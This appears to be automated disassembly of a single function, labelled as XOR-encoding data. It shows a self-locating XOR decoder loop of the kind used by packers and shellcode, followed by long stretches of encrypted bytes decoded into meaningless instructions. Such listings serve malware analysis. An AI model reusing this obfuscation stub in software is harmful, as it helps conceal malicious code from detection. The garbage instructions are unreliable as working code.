Function at 0xf1954c
Capabilities:
Encode data using xor

Disassembly:
or esi, edi
cmp byte [esi - 0x42], ah
inc dword [eax]
jmp 0xf19556
pushal
call 0xf1955c
pop ebp
sub ebp, 0x10
sub ebp, 0xb1954c
jmp 0xf19572
mov eax, 0xb1954c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bf
mov edx, 0x7fbeee6a
add byte [edx + 0x7fbeee6a], bh
xor byte [eax], dl
inc eax
dec ecx
jne 0xf19589
jmp 0xf1959c
loope 0xf19545
loope 0xf19583
push esi
push 0x6a
push 0xffffffffffffffeb
stosd dword es:[edi], eax
xchg edx, eax
push 0x6a
push 0x69
cmpsd dword [esi], dword es:[edi]
shr byte [edx + ebp*2 + 0x6a], cl
push 0xffffffffffffffd0
inc edx
push 0x6a
push 0xffffffffffffff9d
mov byte [ecx - 0x5e], ch
loope 0xf195a7
push 0x6a
push 0x69
scasd eax, dword es:[edi]
out 0xe, eax
dec esi
xchg esi, eax
jecxz 0xf19636
dec esi
cmp al, byte [edx]
jbe 0xf19637
dec eax
push 2
inc ebp
jmp ebp
inc esi
dec esi
out 0xe, eax
dec esi
xchg esi, eax
jecxz 0xf19694
dec esi
sub byte [edi + 0x6a], 0x6a
push 0xffffffffffffff83
push ebx
push 0xee76a6a
push 0x6a
out 0xe, eax
dec esi
xchg esi, eax
jecxz 0xf19685
dec esi
loope 0xf195c8
xchg ebp, eax
pop ds
xchg bp, ax
pop ds
bound eax, qword [edx + 0x6a6a6a0c]
loope 0xf19626
bound ebp, qword [edx + 0x6a]
push 0x59
mov dword [0x82e9b859], eax
outsd dx, dword [esi]
and ah, byte [ebp - 0x12]
and al, 0x6a
push 0x6a
loop 0xf19686
push 0x6a
push 0xc
loope 0xf196e0
push ebx
ljmp 0x6a70
push 0x6a
ljmp 0x6a7b
push 0x6a
or al, 0xeb
xchg ecx, eax
xchg ebp, eax
dec edi
out dx, al
jg 0xf196f0
push 0x6a
push 0x2b
and dword [esi + 0x43959595], 0x26
push ebx
push 0x6a
sub eax, dword [ebx - 0x6a6a6a5a]
inc ebx
push ebx
imul ebp, ecx, 0xffffffab
outsd dx, dword [esi]
jmp 0xd875051c
xchg ebp, eax
inc ebx
push ebx
push 0xe96cabe9
sub byte [esi - 0x17], 0x82
outsd dx, dword [esi]
add ecx, 0xffffff95
xchg ebp, eax
xchg ebp, eax
aaa
test al, 0x66
push 0x3f
loope 0xf1963c
cmp al, 0x3d
aas
loope 0xf196da
loope 0xf196d5
bound edx, qword [esi + 0x6ce0ead8]
jmp 0xf19672
insd dword es:[edi], dx
jmp 0xf1967b
push 0x6a
push 0x6fef65b8
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xf1970e
js 0xf1969c
jmp 0x96872c9c
mov dl, 0x95
xchg ebp, eax
xchg ebp, eax
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xf19721
push 0x6a
loopne 0xf19770
sub al, 0x78
mov eax, 0x6a00e965
push 0x6a
pop ecx
stosb byte es:[edi], al
push 0x6fef65b8
js 0xf196af
jmp 0x6b5c00fd
jmp 0x6b5c00fd
push 0x6a
push 0xffffffffffffffe0
jl 0xf19736
js 0xf196c4
mov eax, 0x6b40e965
push 0x6a
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xf19749
jmp 0x6b5c0252
inc eax
imul ebp, dword [edx + 0x6a], 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xf19798
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
js 0xf196d7
jns 0xf196cb
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xf19758
js 0xf196e6
jns 0xf196da
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xf19767
mov eax, 0x6a6fef65
push 0x6a
loopne 0xf197b6
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0xf196f5
jns 0xf196e9
push 0x6fef65b8
mov eax, 0x6a6fef65
push 0x6a
loopne 0xf197c5
push 0x6a
push 0xffffffffffffffe0
jl 0xf19776
sub al, 0x78
mov eax, 0xee65aa79
js 0xf19704
jns 0xf196f8
out dx, al
insb byte es:[edi], dx
push 0x6a
push 0xffffffffffffffe1
mov ch, 0x41
push 0x6a
loope 0xf1970b
inc ecx
mov dl, 0xe0
imul esp, edx, 0x68d12d6d
push 0x6a
loopne 0xf197c3
loop 0xf197c9
sub eax, 0x6a6a68d1
push 0xffffffffffffff83
sbb dl, byte [ebp + 0x6bd29595]
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
sbb dword [edx], 0xffffff95
xchg ebp, eax
xchg ebp, eax
shr byte [ebx + 0x6a], cl
push 0x6a
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xf197a3
loopne 0xf197f2
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0xf19731
jns 0xf19725
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xf197b2
js 0xf19740
call 0x96872d42
inc ecx
test eax, 0x6a6a6bd1
push 0x65
out dx, eax
push 0x6a
out dx, eax
pop esi
push 0x6a
push 0xffffffffffffffd3
imul ebp, dword [edx + 0x6a], 0x6a
push 0x6fef65b8
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xf19826
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xf197d7
sub al, 0x78
mov eax, 0xb868a379
js 0xf19765
jns 0xf19752
push 0x6fef65b8
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xf197e6
loopne 0xf19835
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0xf19774
call 0x96872d76
cmp al, 0xe1
popfd
loope 0xf19762
inc ecx
lahf
cdq
into
xor al, 0x83
bound edx, qword [ebp - 0x54dd6a6b]
mov ah, byte [edx - 0x20]
insb byte es:[edi], dx
sub al, 0xe1
adc bl, 0x6b
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xf19863
jl 0xf19814
sub al, 0x78
mov eax, 0xb868a379
out dx, eax
outsd dx, dword [esi]
js 0xf197a2
jns 0xf1978f
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xf19823
push 0x6a
loopne 0xf19872
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0xf197b1
call 0x96872db3
jmp 0xf19793
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0xf1979f
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0xf197ab
jmp 0xf197b7
push 0x6a
push 0xffffffffffffffeb
mov ebx, 0x6a6a6a6a
cmp al, 0xe1
popfd
inc ecx
lcall 0x94f1, 0x8334ce99
into
xor al, 0x83
int1
xchg esp, eax
xchg ebp, eax
xchg ebp, eax
loopne 0xf198aa
sub al, 0x59
mov dword [0x656b82aa], eax
out dx, al
jo 0xf198b2
push 0x6a
jmp 0xf19807
shr dword [ebx + 0x6a], 1
push 0x6a
sbb dword [ecx], 0xffffff94
xchg ebp, eax
xchg ebp, eax
aaa
inc ecx
pop ss
invalid
loope 0xf198ca
dec esi
out 0xe, eax
dec esi
outsb dx, byte [esi]
loope 0xf198d9
dec esi
out 0xe, eax
dec esi
outsb dx, byte [esi]
sub dword [esi + 0x6a], 0x6a
push 0xffffffffffffffcf
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
pop ds
shl byte [esi], cl
invalid
sub dword [esi + 0x6a], 0x6a
push 0x6f
invalid
dec ebp
salc
scasd eax, dword es:[edi]
fisubr dword [edi]
insd dword es:[edi], dx
invalid
popal
push ecx
push ecx
push ecx
jp 0xf1985a
salc
stosd dword es:[edi], eax
fisubr dword [ebx]
push ecx
salc
stosd dword es:[edi], eax
ficomp dword [esi]
push ds
push ebp
shr byte [ebx + 0x51515151], 1
pop esi
aad 0x17
push ecx
push ecx
push ecx
push edx
xchg eax, edx
xchg esi, eax
pop ecx
push ecx
push ecx
push ecx
sar byte [eax + 0x51515159], 1
shr byte [eax + 0x51515151], 1
pop esi
aad 0x81
scasb al, byte es:[edi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
aaa
ficom dword [esi - 0x70]
mov ecx, 0x5eb1d25d
shr byte [ecx + 0x51515152], 1
pop esi
aam 0x5c
push ecx
push ecx
push ecx
aaa
ficom dword [esi - 0x30]
mov cl, 0xae
pop esi
push ecx
push ecx
push edx
xchg ebx, eax
push eax
dec ecx
sbb byte [eax], bl
rcl byte [esi - 0x516647ad], cl
scasb al, byte es:[edi]
scasb al, byte es:[edi]
mov eax, 0x51515155
add ebx, dword [eax - 0x20]
jmp 0x52d25d58